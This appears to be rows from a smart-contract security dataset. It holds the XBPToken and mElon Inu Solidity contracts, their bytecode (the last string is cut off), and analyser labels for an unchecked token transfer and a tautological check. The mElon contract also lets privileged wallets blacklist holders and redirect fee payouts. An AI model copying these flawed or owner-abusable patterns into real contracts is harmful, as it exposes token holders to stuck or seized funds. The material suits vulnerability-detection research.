pragma solidity 0.4.19; contract BaseContract { modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } modifier isZero(uint256 _amount) { require(_amount == 0); _; } modifier nonZero(uint256 _amount) { require(_amount != 0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } modifier onlyIf(bool condition) { require(condition); _; } modifier validIndex(uint256 arrayLength, uint256 index) { requireValidIndex(arrayLength, index); _; } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier validString(string value) { require(bytes(value).length > 0); _; } // mitigate short address attack // http://vessenes.com/the-erc20-short-address-attack-explained/ modifier validParamData(uint256 numParams) { uint256 expectedDataLength = (numParams * 32) + 4; assert(msg.data.length >= expectedDataLength); _; } function requireValidIndex(uint256 arrayLength, uint256 index) internal pure { require(index >= 0 && index < arrayLength); } } contract Owned is BaseContract { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); function Owned() internal { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } /// @dev allows transferring the contract ownership /// the new owner still needs to accept the transfer /// can only be called by the contract owner /// @param _newOwner new contract owner function transferOwnership(address _newOwner) public validParamData(1) onlyOwner onlyIf(_newOwner != owner) { newOwner = _newOwner; } /// @dev used by a new owner to accept an ownership transfer function acceptOwnership() public onlyIf(msg.sender == newOwner) { OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract IToken { function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); } contract TokenRetriever is Owned { function TokenRetriever() internal { } /// @dev Failsafe mechanism - Allows owner to retrieve tokens from the contract /// @param _token The address of ERC20 compatible token function retrieveTokens(IToken _token) public onlyOwner { uint256 tokenBalance = _token.balanceOf(this); if (tokenBalance > 0) { _token.transfer(owner, tokenBalance); } } } /// @title Math operations with safety checks library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // solhint-disable no-simple-event-func-name // ERC20 Standard Token implementation contract ERC20Token is BaseContract { using SafeMath for uint256; string public name = ""; string public symbol = ""; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /// @dev constructor /// @param _name token name /// @param _symbol token symbol /// @param _decimals decimal points, for display purposes function ERC20Token(string _name, string _symbol, uint8 _decimals) internal validString(_name) validString(_symbol) { name = _name; symbol = _symbol; decimals = _decimals; } /// @dev send coins /// throws on any error rather then return a false flag to minimize user errors /// @param _to target address /// @param _value transfer amount /// @return true if the transfer was successful, false if it wasn&#39;t function transfer(address _to, uint256 _value) public validParamData(2) validAddress(_to) notThis(_to) returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// @dev an account/contract attempts to get the coins /// throws on any error rather then return a false flag to minimize user errors /// @param _from source address /// @param _to target address /// @param _value transfer amount /// @return true if the transfer was successful, false if it wasn&#39;t function transferFrom(address _from, address _to, uint256 _value) public validParamData(3) validAddress(_from) validAddress(_to) notThis(_to) returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); return true; } /// @dev allow another account/contract to spend some tokens on your behalf /// throws on any error rather then return a false flag to minimize user errors /// also, to minimize the risk of the approve/transferFrom attack vector /// (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/) /// approve has to be called twice in 2 separate transactions /// once to change the allowance to 0 and secondly to change it to the new allowance value /// @param _spender approved address /// @param _value allowance amount /// @return true if the approval was successful, false if it wasn&#39;t function approve(address _spender, uint256 _value) public validParamData(2) validAddress(_spender) onlyIf(_value == 0 || allowance[msg.sender][_spender] == 0) returns (bool success) { uint256 currentAllowance = allowance[msg.sender][_spender]; return changeApprovalCore(_spender, currentAllowance, _value); } /// @dev Allow another account/contract to spend some tokens on your behalf /// Note: This method is protected against the approve/transferFrom attack vector /// (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/) /// because the previous value and new value must both be specified. function changeApproval(address _spender, uint256 _previousValue, uint256 _value) public validParamData(3) validAddress(_spender) returns (bool success) { return changeApprovalCore(_spender, _previousValue, _value); } function changeApprovalCore(address _spender, uint256 _previousValue, uint256 _value) private onlyIf(allowance[msg.sender][_spender] == _previousValue) returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract XBPToken is BaseContract, Owned, TokenRetriever, ERC20Token { using SafeMath for uint256; bool public issuanceEnabled = true; event Issuance(uint256 _amount); function XBPToken() public ERC20Token("BlitzPredict", "XBP", 18) { } /// @dev disables/enables token issuance /// can only be called by the contract owner function disableIssuance() public onlyOwner onlyIf(issuanceEnabled) { issuanceEnabled = false; } /// @dev increases the token supply and sends the new tokens to an account /// can only be called by the contract owner /// @param _to account to receive the new amount /// @param _amount amount to increase the supply by function issue(address _to, uint256 _amount) public onlyOwner validParamData(2) validAddress(_to) onlyIf(issuanceEnabled) notThis(_to) { totalSupply = totalSupply.add(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); Issuance(_amount); Transfer(this, _to, _amount); } }
0x6060604052600436106100e25763ffffffff60e060020a60003504166306fdde0381146100e7578063095ea7b31461017157806318160ddd146101a757806323b872dd146101cc578063313ce567146101f457806370a082311461021d57806379ba50971461023c578063867904b4146102515780638da5cb5b146102735780639281cd65146102a257806395d89b41146102c7578063a8590135146102da578063a9059cbb146102ed578063ac4ddd9f1461030f578063d4ee1d901461032e578063dd62ed3e14610341578063f2fde38b14610366578063f76bd7d114610385575b600080fd5b34156100f257600080fd5b6100fa610398565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561013657808201518382015260200161011e565b50505050905090810190601f1680156101635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017c57600080fd5b610193600160a060020a0360043516602435610436565b604051901515815260200160405180910390f35b34156101b257600080fd5b6101ba6104d9565b60405190815260200160405180910390f35b34156101d757600080fd5b610193600160a060020a03600435811690602435166044356104df565b34156101ff57600080fd5b610207610657565b60405160ff909116815260200160405180910390f35b341561022857600080fd5b6101ba600160a060020a0360043516610660565b341561024757600080fd5b61024f610672565b005b341561025c57600080fd5b61024f600160a060020a0360043516602435610702565b341561027e57600080fd5b610286610856565b604051600160a060020a03909116815260200160405180910390f35b34156102ad57600080fd5b610193600160a060020a0360043516602435604435610865565b34156102d257600080fd5b6100fa6108a2565b34156102e557600080fd5b61019361090d565b34156102f857600080fd5b610193600160a060020a0360043516602435610916565b341561031a57600080fd5b61024f600160a060020a0360043516610a22565b341561033957600080fd5b610286610b40565b341561034c57600080fd5b6101ba600160a060020a0360043581169060243516610b4f565b341561037157600080fd5b61024f600160a060020a0360043516610b6c565b341561039057600080fd5b61024f610be5565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b505050505081565b60008060026044368190101561044857fe5b85600160a060020a038116151561045e57600080fd5b85158061048e5750600160a060020a033381166000908152600760209081526040808320938b1683529290522054155b80151561049a57600080fd5b600160a060020a033381166000908152600760209081526040808320938c168352929052205494506104cd888689610c1f565b98975050505050505050565b60055481565b60006003606436819010156104f057fe5b85600160a060020a038116151561050657600080fd5b85600160a060020a038116151561051c57600080fd5b8630600160a060020a031681600160a060020a03161415151561053e57600080fd5b600160a060020a03808a1660009081526007602090815260408083203390941683529290522054610575908863ffffffff610cbe16565b600160a060020a03808b1660008181526007602090815260408083203390951683529381528382209490945590815260069092529020546105bc908863ffffffff610cbe16565b600160a060020a03808b1660009081526006602052604080822093909355908a16815220546105f1908863ffffffff610cd316565b600160a060020a03808a16600081815260066020526040908190209390935591908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908a905190815260200160405180910390a350600198975050505050505050565b60045460ff1681565b60066020526000908152604090205481565b60015433600160a060020a039081169116148061068e57600080fd5b600154600054600160a060020a0391821691167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a350600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461071d57600080fd5b60026044368190101561072c57fe5b83600160a060020a038116151561074257600080fd5b60085460ff1680151561075457600080fd5b8530600160a060020a031681600160a060020a03161415151561077657600080fd5b600554610789908763ffffffff610cd316565b600555600160a060020a0387166000908152600660205260409020546107b5908763ffffffff610cd316565b600160a060020a03881660009081526006602052604090819020919091557f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc39087905190815260200160405180910390a186600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405190815260200160405180910390a350505050505050565b600054600160a060020a031681565b600060036064368190101561087657fe5b85600160a060020a038116151561088c57600080fd5b610897878787610c1f565b979650505050505050565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561042e5780601f106104035761010080835404028352916020019161042e565b60085460ff1681565b600060026044368190101561092757fe5b84600160a060020a038116151561093d57600080fd5b8530600160a060020a031681600160a060020a03161415151561095f57600080fd5b600160a060020a033316600090815260066020526040902054610988908763ffffffff610cbe16565b600160a060020a0333811660009081526006602052604080822093909355908916815220546109bd908763ffffffff610cd316565b600160a060020a0380891660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9089905190815260200160405180910390a35060019695505050505050565b6000805433600160a060020a03908116911614610a3e57600080fd5b81600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a9557600080fd5b6102c65a03f11515610aa657600080fd5b50505060405180519150506000811115610b3c5760008054600160a060020a038085169263a9059cbb929091169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b2057600080fd5b6102c65a03f11515610b3157600080fd5b505050604051805150505b5050565b600154600160a060020a031681565b600760209081526000928352604080842090915290825290205481565b600160243681901015610b7b57fe5b60005433600160a060020a03908116911614610b9657600080fd5b600054600160a060020a038481169116141580610bb257600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915550565b60005433600160a060020a03908116911614610c0057600080fd5b60085460ff16801515610c1257600080fd5b506008805460ff19169055565b600160a060020a033381166000908152600760209081526040808320938716835292905290812054831480610c5357600080fd5b600160a060020a033381166000818152600760209081526040808320948a1680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a3506001949350505050565b600082821115610ccd57600080fd5b50900390565b600082820183811015610ce557600080fd5b93925050505600a165627a7a72305820b4ebb5018ed11f59fd2f0fe0d98b1503559e1dd71d07ea2a7fd3c7d216019ffb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,493
0xd224a231ba510691ed91ace35e878120f95bd52c
/* mElon Inu 🍈🍈 “Meme token”, “Elon Musk” & “Melon” are the key elements of Melon Inu. mElon Inu 🍈🍈 https://t.me/meloninutoken */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MELONINU is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"meloninu.io"; string public constant symbol = unicode"mElon"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy >= 100000000 * 10**9); require(maxheld >= 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 12 && sell < 12 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ab578063db92dbb6146105c0578063dcb0e0ad146105d5578063dd62ed3e146105f5578063e8078d941461063b57600080fd5b8063a3f4782f14610536578063a9059cbb14610556578063b515566a14610576578063c3c8cd801461059657600080fd5b806373f54a11116100dc57806373f54a11146104a75780638da5cb5b146104c757806394b8d8f2146104e557806395d89b411461050557600080fd5b8063590f897e146104475780636fc3eaec1461045d57806370a0823114610472578063715018a61461049257600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b857806340b9a54b146103f157806345596e2e1461040757806349bd5a5e1461042757600080fd5b806327f3a72a14610346578063313ce5671461035b57806331c2d8471461038257806332d873d8146103a257600080fd5b8063104ce66d116101c1578063104ce66d146102bd57806318160ddd146102f55780631940d0201461031057806323b872dd1461032657600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026b5780630b78f9c01461029b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025e6040518060400160405280600b81526020016a6d656c6f6e696e752e696f60a81b81525081565b60405161021e9190611a32565b34801561027757600080fd5b5061028b610286366004611aac565b610650565b604051901515815260200161021e565b3480156102a757600080fd5b506102bb6102b6366004611ad8565b610666565b005b3480156102c957600080fd5b506008546102dd906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030157600080fd5b50678ac7230489e80000610214565b34801561031c57600080fd5b50610214600e5481565b34801561033257600080fd5b5061028b610341366004611afa565b610700565b34801561035257600080fd5b50610214610754565b34801561036757600080fd5b50610370600981565b60405160ff909116815260200161021e565b34801561038e57600080fd5b506102bb61039d366004611b51565b610764565b3480156103ae57600080fd5b50610214600f5481565b3480156103c457600080fd5b5061028b6103d3366004611c16565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fd57600080fd5b50610214600a5481565b34801561041357600080fd5b506102bb610422366004611c33565b6107f0565b34801561043357600080fd5b506009546102dd906001600160a01b031681565b34801561045357600080fd5b50610214600b5481565b34801561046957600080fd5b506102bb610891565b34801561047e57600080fd5b5061021461048d366004611c16565b6108be565b34801561049e57600080fd5b506102bb6108d9565b3480156104b357600080fd5b506102bb6104c2366004611c16565b61094d565b3480156104d357600080fd5b506000546001600160a01b03166102dd565b3480156104f157600080fd5b5060105461028b9062010000900460ff1681565b34801561051157600080fd5b5061025e6040518060400160405280600581526020016436a2b637b760d91b81525081565b34801561054257600080fd5b506102bb610551366004611ad8565b6109bb565b34801561056257600080fd5b5061028b610571366004611aac565b610a10565b34801561058257600080fd5b506102bb610591366004611b51565b610a1d565b3480156105a257600080fd5b506102bb610b36565b3480156105b757600080fd5b506102bb610b6c565b3480156105cc57600080fd5b50610214610c0e565b3480156105e157600080fd5b506102bb6105f0366004611c5a565b610c26565b34801561060157600080fd5b50610214610610366004611c77565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064757600080fd5b506102bb610c99565b600061065d338484610fdf565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068657600080fd5b600c821080156106965750600c81105b80156106a35750600a5482105b80156106b05750600b5481105b6106b957600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061070d848484611103565b6001600160a01b038416600090815260036020908152604080832033845290915281205461073c908490611cc6565b9050610749853383610fdf565b506001949350505050565b600061075f306108be565b905090565b6008546001600160a01b0316336001600160a01b03161461078457600080fd5b60005b81518110156107ec576000600560008484815181106107a8576107a8611cdd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e481611cf3565b915050610787565b5050565b6008546001600160a01b0316336001600160a01b03161461081057600080fd5b600081116108555760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b157600080fd5b476108bb816116cf565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161084c90611d0e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461096d57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610886565b6008546001600160a01b0316336001600160a01b0316146109db57600080fd5b67016345785d8a00008210156109f057600080fd5b6702c68af0bb140000811015610a0557600080fd5b600d91909155600e55565b600061065d338484611103565b6000546001600160a01b03163314610a475760405162461bcd60e51b815260040161084c90611d0e565b60005b81518110156107ec5760095482516001600160a01b0390911690839083908110610a7657610a76611cdd565b60200260200101516001600160a01b031614158015610ac7575060075482516001600160a01b0390911690839083908110610ab357610ab3611cdd565b60200260200101516001600160a01b031614155b15610b2457600160056000848481518110610ae457610ae4611cdd565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b2e81611cf3565b915050610a4a565b6008546001600160a01b0316336001600160a01b031614610b5657600080fd5b6000610b61306108be565b90506108bb81611709565b6000546001600160a01b03163314610b965760405162461bcd60e51b815260040161084c90611d0e565b60105460ff1615610be35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084c565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061075f906001600160a01b03166108be565b6008546001600160a01b0316336001600160a01b031614610c4657600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610886565b6000546001600160a01b03163314610cc35760405162461bcd60e51b815260040161084c90611d0e565b60105460ff1615610d105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084c565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d4c3082678ac7230489e80000610fdf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190611d43565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f9190611d43565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e909190611d43565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec0816108be565b600080610ed56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f629190611d60565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ec9190611d8e565b6001600160a01b0383166110415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161084c565b6001600160a01b0382166110a25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161084c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114557506001600160a01b03821660009081526005602052604090205460ff16155b801561116157503360009081526005602052604090205460ff16155b61116a57600080fd5b6001600160a01b0383166111ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161084c565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161084c565b600081116112925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161084c565b600080546001600160a01b038581169116148015906112bf57506000546001600160a01b03848116911614155b15611670576009546001600160a01b0385811691161480156112ef5750600754600160016